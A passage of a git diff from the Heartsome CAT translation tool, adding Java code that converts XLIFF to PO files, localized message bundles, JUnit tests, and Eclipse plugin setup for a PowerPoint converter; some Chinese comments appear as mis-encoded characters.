attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸¤éƒ¨åˆ†å…± 10 个任务,其中加载 xliff å  5,替æ¢è¿‡ç¨‹å  5。 + monitor.beginTask("", 10); + infoLogger.logConversionFileInfo(null, null, xliffFile, sklFile); + monitor.subTask(Messages.getString("po.Xliff2Po.task2")); + infoLogger.startLoadingXliffFile(); + output = new FileOutputStream(outputFile); + loadSegments(); + infoLogger.endLoadingXliffFile(); + monitor.worked(5); + + IProgressMonitor replaceMonitor = Progress.getSubMonitor(monitor, 5); + try { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("po.cancel")); + } + infoLogger.startReplacingSegmentSymbol(); + CalculateProcessedBytes cpb = ConverterUtils.getCalculateProcessedBytes(sklFile); + replaceMonitor.beginTask(Messages.getString("po.Xliff2Po.task3"), cpb.getTotalTask()); + replaceMonitor.subTask(""); + input = new InputStreamReader(new FileInputStream(sklFile), UTF_8); //$NON-NLS-1$ + buffer = new BufferedReader(input); + line = buffer.readLine(); + while (line != null) { + // 是å¦å–消 + if (replaceMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("po.cancel")); + } + cpb.calculateProcessed(replaceMonitor, line, UTF_8); + + line = line + "\n"; //$NON-NLS-1$ + + if (line.indexOf("%%%") != -1) { //$NON-NLS-1$ + // + // contains translatable text + // + int index = line.indexOf("%%%"); //$NON-NLS-1$ + while (index != -1) { + String start = line.substring(0, index); + writeString(start); + line = line.substring(index + 3); + String code = line.substring(0, line.indexOf("%%%")); //$NON-NLS-1$ + line = line.substring(line.indexOf("%%%") + 3); //$NON-NLS-1$ + Element segment = segments.get(code); + if (segment != null) { + writeSegment(segment); + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, MessageFormat.format( + Messages.getString("po.Xliff2Po.msg1"), code)); + } + + index = line.indexOf("%%%"); //$NON-NLS-1$ + if (index == -1) { + writeString(line); + } + } // end while + } else { + // + // non translatable portion + // + writeString(line); + } + + line = buffer.readLine(); + } + } finally { + replaceMonitor.done(); + } + infoLogger.endReplacingSegmentSymbol(); + output.close(); + result.put(Converter.ATTR_TARGET_FILE, outputFile); + infoLogger.endConversion(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("po.Xliff2Po.msg2"), e); + } finally { + monitor.done(); + } + return result; + } + + /** + * Write segment. + * @param segment + * the segment + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeSegment(Element segment) throws IOException { + Element target = segment.getChild("target"); //$NON-NLS-1$ + Element source = segment.getChild("source"); //$NON-NLS-1$ + boolean newLine = false; + boolean fuzzy = false; + if (isPreviewMode + || !segment.getAttributeValue("approved", "no").equalsIgnoreCase("Yes") && target != null && !target.getText().trim().equals("")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + fuzzy = true; + } + writeComments(segment); + writeContext(segment); + writeReferences(segment); + writeFlags(segment, fuzzy); + + if (source.getText().endsWith("\n")) { //$NON-NLS-1$ + newLine = true; + } else { + newLine = false; + } + if (!segment.getAttributeValue("restype", "").equals("x-gettext-domain-header")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + writeString("msgid \"" + addQuotes(source.getText()) + "\"\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeString("msgid \"\"\n"); //$NON-NLS-1$ + } + if (target != null) { + String text = target.getText(); + if (newLine && !text.endsWith("\n")) { //$NON-NLS-1$ + text = text + "\"\"\n"; //$NON-NLS-1$ + } + writeString("msgstr \"" + addQuotes(text) + "\""); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeString("msgstr \"\""); //$NON-NLS-1$ + } + } + + /** + * Write flags. + * @param segment + * the segment + * @param fuzzy + * the fuzzy + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeFlags(Element segment, boolean fuzzy) throws IOException { + List groups = segment.getChildren("hs:prop-group"); //$NON-NLS-1$ + Iterator i = groups.iterator(); + String flags = ""; //$NON-NLS-1$ + while (i.hasNext()) { + Element group = i.next(); + List contexts = group.getChildren(); + Iterator h = contexts.iterator(); + while (h.hasNext()) { + Element prop = h.next(); + if (prop.getAttributeValue("ctype", "").equals("x-po-flags")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + flags = prop.getText(); + } + } + } + if (fuzzy) { + if (flags.indexOf("fuzzy") == -1) { //$NON-NLS-1$ + writeString("#, fuzzy " + flags + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeString("#, " + flags + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } else { + if (flags.indexOf("fuzzy") == -1) { //$NON-NLS-1$ + if (!flags.equals("")) { //$NON-NLS-1$ + writeString("#, " + flags + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } else { + flags = flags.substring(0, flags.indexOf("fuzzy")) + flags.substring(flags.indexOf("fuzzy") + 5); //$NON-NLS-1$ //$NON-NLS-2$ + if (!flags.equals("")) { //$NON-NLS-1$ + writeString("#, " + flags + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + } + + /** + * Write references. + * @param segment + * the segment + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeReferences(Element segment) throws IOException { + String reference = "#:"; //$NON-NLS-1$ + List groups = segment.getChildren("context-group"); //$NON-NLS-1$ + Iterator i = groups.iterator(); + while (i.hasNext()) { + Element group = i.next(); + if (group.getAttributeValue("name", "").startsWith("x-po-reference") //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + && group.getAttributeValue("purpose").equals("location")) //$NON-NLS-1$ //$NON-NLS-2$ + { + String file = ""; //$NON-NLS-1$ + String linenumber = ""; //$NON-NLS-1$ + List contexts = group.getChildren(); + Iterator h = contexts.iterator(); + while (h.hasNext()) { + Element context = h.next(); + if (context.getAttributeValue("context-type", "").equals("sourcefile")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + file = context.getText(); + } + if (context.getAttributeValue("context-type", "").equals("linenumber")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + linenumber = context.getText(); + } + } + String test = reference + " " + file + ":" + linenumber; //$NON-NLS-1$ //$NON-NLS-2$ + if (test.substring(test.lastIndexOf("#:")).length() > 80) { //$NON-NLS-1$ + reference = reference + "\n#:"; //$NON-NLS-1$ + } + reference = reference + " " + file + ":" + linenumber; //$NON-NLS-1$ //$NON-NLS-2$ + + // fixed bug 425 by john. + if (reference.endsWith(":")) { //$NON-NLS-1$ + reference = reference.substring(0, reference.length() - 1); + } + } + } + if (!reference.equals("#:")) { //$NON-NLS-1$ + writeString(reference + "\n"); //$NON-NLS-1$ + } + } + + /** + * Write context. + * @param segment + * the segment + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeContext(Element segment) throws IOException { + List groups = segment.getChildren("context-group"); //$NON-NLS-1$ + Iterator i = groups.iterator(); + while (i.hasNext()) { + Element group = i.next(); + if (group.getAttributeValue("name", "").startsWith("x-po-entry-header") //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + && group.getAttributeValue("purpose").equals("information")) //$NON-NLS-1$ //$NON-NLS-2$ + { + List contexts = group.getChildren(); + Iterator h = contexts.iterator(); + while (h.hasNext()) { + Element context = h.next(); + if (context.getAttributeValue("context-type", "").equals("x-po-autocomment")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + Vector comments = splitLines(context.getText()); + for (int j = 0; j < comments.size(); j++) { + String comment = comments.get(j); + if (!comment.trim().equals("")) { //$NON-NLS-1$ + writeString("#. " + comment.trim() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeString("#.\n"); //$NON-NLS-1$ + } + } + } + } + } + } + } + + /** + * Write comments. + * @param segment + * the segment + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeComments(Element segment) throws IOException { + List notes = segment.getChildren("note"); //$NON-NLS-1$ + Iterator i = notes.iterator(); + while (i.hasNext()) { + Element note = i.next(); + Vector lines = splitLines(note.getText()); + Iterator h = lines.iterator(); + while (h.hasNext()) { + String comment = h.next(); + writeString("# " + comment.trim() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + + /** + * Split lines. + * @param text + * the text + * @return the vector< string> + */ + private Vector splitLines(String text) { + Vector result = new Vector(); + StringTokenizer tokenizer = new StringTokenizer(text, "\n"); //$NON-NLS-1$ + if (text.startsWith("\n\n")) { //$NON-NLS-1$ + result.add(""); //$NON-NLS-1$ + } + while (tokenizer.hasMoreTokens()) { + result.add(tokenizer.nextToken()); + } + if (text.endsWith("\n\n")) { //$NON-NLS-1$ + result.add(""); //$NON-NLS-1$ + } + tokenizer = null; + return result; + } + + /** + * Load segments. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadSegments() throws SAXException, IOException { + + SAXBuilder builder = new SAXBuilder(); + + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + segments = new Hashtable(); + + recurse(root); + + } + + /** + * Recurse. + * @param e + * the e + */ + private void recurse(Element e) { + List list = e.getChildren(); + Iterator i = list.iterator(); + while (i.hasNext()) { + Element u = i.next(); + if (u.getName().equals("trans-unit")) { //$NON-NLS-1$ + segments.put(u.getAttributeValue("id"), u); //$NON-NLS-1$ + } else { + recurse(u); + } + } + } + + /** + * Write string. + * @param string + * the string + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes(encoding)); + } + } + + /** + * Adds the quotes. + * @param string + * the string + * @return the string + */ + private static String addQuotes(String string) { + return string.replaceAll("\n", "\"\n\""); //$NON-NLS-1$ //$NON-NLS-2$ + } +} diff --git a/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/Messages.java new file mode 100644 index 0000000..dc0ca9a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.po.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.po.resource.po"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po.properties b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po.properties new file mode 100644 index 0000000..a1d5031 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po.properties @@ -0,0 +1,12 @@ +po.Po2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +po.Po2Xliff.msg1 = PO \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +#po.Xliff2Po.task1 = \u6b63\u5728\u8f6c\u6362... +po.Xliff2Po.task2 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +po.Xliff2Po.task3 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +po.Xliff2Po.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +po.Xliff2Po.msg2 = XLIFF \u8f6c\u6362 PO \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +po.TYPE_NAME_VALUE = GNU gettext \u53ef\u79fb\u690d\u5bf9\u8c61 (PO) +po.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po_en.properties b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po_en.properties new file mode 100644 index 0000000..bc8b647 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po_en.properties @@ -0,0 +1,12 @@ +po.Po2Xliff.task1 = Converting... +po.Po2Xliff.msg1 = Failed to convert PO to XLIFF. Please try again. + +#po.Xliff2Po.task1 = \u6b63\u5728\u8f6c\u6362... +po.Xliff2Po.task2 = Loading XLIFF files... +po.Xliff2Po.task3 = Replacing segment identifiers in the skeleton file... +po.Xliff2Po.msg1 = Can't find segment {0}. The XLIFF file might be demaged. please follow the steps below to repair it:\n1. Send all segments of the XLIFF to TM;\n2. Backup the XLIFF file (directly copy the XLIFF file folders or export the entire project);\n3. Re-convert source file to XLIFF, and pre-translate these XLIFF files;\n4. Take XLIFF files from previous step to retry the conversion. +po.Xliff2Po.msg2 = Failed to convert XLIFF to PO. Please try again. + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +po.TYPE_NAME_VALUE = GNU gettext Portable Object (PO) +po.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po_zh.properties b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po_zh.properties new file mode 100644 index 0000000..a1d5031 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/src/net/heartsome/cat/converter/po/resource/po_zh.properties @@ -0,0 +1,12 @@ +po.Po2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +po.Po2Xliff.msg1 = PO \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +#po.Xliff2Po.task1 = \u6b63\u5728\u8f6c\u6362... +po.Xliff2Po.task2 = \u6b63\u5728\u52a0\u8f7d XLIFF \u6587\u4ef6... +po.Xliff2Po.task3 = \u6b63\u5728\u66ff\u6362\u9aa8\u67b6\u6587\u4ef6\u4e2d\u7684\u6587\u672c\u6bb5\u6807\u8bc6\u7b26... +po.Xliff2Po.msg1 = \u65e0\u6cd5\u627e\u5230\u6587\u672c\u6bb5 {0}\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +po.Xliff2Po.msg2 = XLIFF \u8f6c\u6362 PO \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +po.TYPE_NAME_VALUE = GNU gettext \u53ef\u79fb\u690d\u5bf9\u8c61 (PO) +po.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.po/testSrc/net/heartsome/cat/converter/po/test/Po2XliffTest.java b/hsconverter/net.heartsome.cat.converter.po/testSrc/net/heartsome/cat/converter/po/test/Po2XliffTest.java new file mode 100644 index 0000000..b117cc2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/testSrc/net/heartsome/cat/converter/po/test/Po2XliffTest.java @@ -0,0 +1,54 @@ +package net.heartsome.cat.converter.po.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.po.Po2Xliff; + +import org.junit.Before; +import org.junit.Test; + +public class Po2XliffTest { + public static Po2Xliff converter = new Po2Xliff(); + private static String srcFile = "rc/Test.po"; + private static String xlfFile = "rc/Test.po.xlf"; + private static String sklFile = "rc/Test.po.skl"; + + @Before + public void setUp(){ + File skl = new File(sklFile); + if(skl.exists()){ + skl.delete(); + } + + File xlf = new File(xlfFile); + if(xlf.exists()){ + xlf.delete(); + } + } + + @Test(timeout = 10000) + public void testConvert() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "en-US"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.po/testSrc/net/heartsome/cat/converter/po/test/Xliff2PoTest.java b/hsconverter/net.heartsome.cat.converter.po/testSrc/net/heartsome/cat/converter/po/test/Xliff2PoTest.java new file mode 100644 index 0000000..cfc75c5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.po/testSrc/net/heartsome/cat/converter/po/test/Xliff2PoTest.java @@ -0,0 +1,48 @@ +package net.heartsome.cat.converter.po.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.po.Xliff2Po; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2PoTest { + public static Xliff2Po converter = new Xliff2Po(); + private static String tgtFile = "rc/Test_zh-CN.po"; + private static String xlfFile = "rc/Test.po.xlf"; + private static String sklFile = "rc/Test.po.skl"; + + @Before + public void setUp() { + File tgt = new File(tgtFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.pptx/.classpath b/hsconverter/net.heartsome.cat.converter.pptx/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.pptx/.project b/hsconverter/net.heartsome.cat.converter.pptx/.project new file mode 100644 index 0000000..e65ca4a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.pptx + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.pptx/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.pptx/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.pptx/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.pptx/META-INF/MANIFEST.MF new file mode 100644 index 0000000..bbae680 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/META-INF/MANIFEST.MF @@ -0,0 +1,20 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter MS PowerPoint +Bundle-SymbolicName: net.heartsome.cat.converter.pptx;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130327 +Bundle-Activator: net.heartsome.cat.converter.pptx.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.converter;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + org.eclipse.jface;bundle-version="3.7.0", + org.eclipse.ui.workbench;bundle-version="3.7.0", + net.heartsome.cat.common.ui;bundle-version="1.0.0", + org.eclipse.ui;resolution:=optional +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: . +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.pptx/build.properties b/hsconverter/net.heartsome.cat.converter.pptx/build.properties new file mode 100644 index 0000000..7b83f07 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + images/,\ + plugin.xml,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties +source.. = src/ diff --git a/hsconverter/net.heartsome.cat.converter.pptx/images/preference/powerpoint_32.png b/hsconverter/net.heartsome.cat.converter.pptx/images/preference/powerpoint_32.png new file mode 100644 index 0000000..7a4cd3f Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.pptx/images/preference/powerpoint_32.png differ diff --git a/hsconverter/net.heartsome.cat.converter.pptx/plugin.properties b/hsconverter/net.heartsome.cat.converter.pptx/plugin.properties new file mode 100644 index 0000000..97ee9a7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/plugin.properties @@ -0,0 +1 @@ +preferencePages.PPTXPreferencePage = Microsoft PowerPoint \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.pptx/plugin.xml b/hsconverter/net.heartsome.cat.converter.pptx/plugin.xml new file mode 100644 index 0000000..ad685d1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/plugin.xml @@ -0,0 +1,19 @@ + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.pptx/plugin_en.properties b/hsconverter/net.heartsome.cat.converter.pptx/plugin_en.properties new file mode 100644 index 0000000..808f8a7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/plugin_en.properties @@ -0,0 +1 @@ +preferencePages.PPTXPreferencePage = Microsoft PowerPoint diff --git a/hsconverter/net.heartsome.cat.converter.pptx/plugin_zh.properties b/hsconverter/net.heartsome.cat.converter.pptx/plugin_zh.properties new file mode 100644 index 0000000..97ee9a7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/plugin_zh.properties @@ -0,0 +1 @@ +preferencePages.PPTXPreferencePage = Microsoft PowerPoint \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/Activator.java b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/Activator.java new file mode 100644 index 0000000..68753c4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/Activator.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.converter.pptx; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +public class Activator extends AbstractUIPlugin implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.pptx"; + + private static BundleContext context; + + @SuppressWarnings("rawtypes") + private ServiceRegistration pptx2XLIFFSR; + + @SuppressWarnings("rawtypes") + private ServiceRegistration xliff2PPTXSR; + + private static Activator plugin; + + public Activator() { + } + + static BundleContext getContext() { + return context; + } + + /* + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext bundleContext) throws Exception { + super.start(bundleContext); + Activator.context = bundleContext; + + Converter pptx2XLIFF = new PPTX2XLIFF(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, PPTX2XLIFF.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, PPTX2XLIFF.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, PPTX2XLIFF.TYPE_NAME_VALUE); + pptx2XLIFFSR = ConverterRegister.registerPositiveConverter(context, pptx2XLIFF, properties); + + Converter xliff2PPTX = new XLIFF2PPTX(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, XLIFF2PPTX.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, XLIFF2PPTX.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, XLIFF2PPTX.TYPE_NAME_VALUE); + xliff2PPTXSR = ConverterRegister.registerReverseConverter(context, xliff2PPTX, properties); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext bundleContext) throws Exception { + plugin = null; + if (pptx2XLIFFSR != null) { + pptx2XLIFFSR.unregister(); + pptx2XLIFFSR = null; + } + if (xliff2PPTXSR != null) { + xliff2PPTXSR.unregister(); + xliff2PPTXSR = null; + } + Activator.context = null; + super.stop(bundleContext); + } + + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + public static Activator getDefault() { + return plugin; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/PPTX2XLIFF.java b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/PPTX2XLIFF.java new file mode 100644 index 0000000..b6bb430 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.pptx/src/net/heartsome/cat/converter/pptx/PPTX2XLIFF.java @@ -0,0 +1,969 @@ +package net.heartsome.cat.converter.pptx; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.common.file.FileManager; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.pptx.preference.Constants; +import net.heartsome.cat.converter.pptx.resource.Messages; +import 